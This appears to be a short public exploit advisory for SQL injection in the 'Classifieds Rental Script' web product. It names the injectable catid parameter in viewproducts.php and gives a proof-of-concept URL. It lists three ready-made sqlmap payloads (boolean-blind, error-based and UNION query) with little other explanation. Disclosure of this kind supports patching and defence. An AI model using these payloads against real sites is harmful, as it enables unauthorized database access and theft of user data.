Classifieds Rental Script - SQL Injection

# Exploit Title: SQL Injection in Classifieds Rental Script
# Date: 19 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Vendor: www.i-netsolution.com

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# Proof of Concept SQL Injection/Exploit : 
http://localhost/[PATH]/viewproducts.php?catid=PoC%27

# Exploit (using Sqlmap)
---
Parameter: catid (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: catid=-1285' OR 8060=8060#

    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: catid=-9700' OR 1 GROUP BY CONCAT(0x717a627071,(SELECT (CASE WHEN (7055=7055) THEN 1 ELSE 0 END)),0x716a767871,FLOOR(RAND(0)*2)) HAVING MIN(0)#

    Type: UNION query
    Title: MySQL UNION query (random number) - 1 column
    Payload: catid=-4664' UNION ALL SELECT CONCAT(0x717a627071,0x444c6a6547574179515a64414752636446697064764a5a64745042625072666b5954674a58484577,0x716a767871)#
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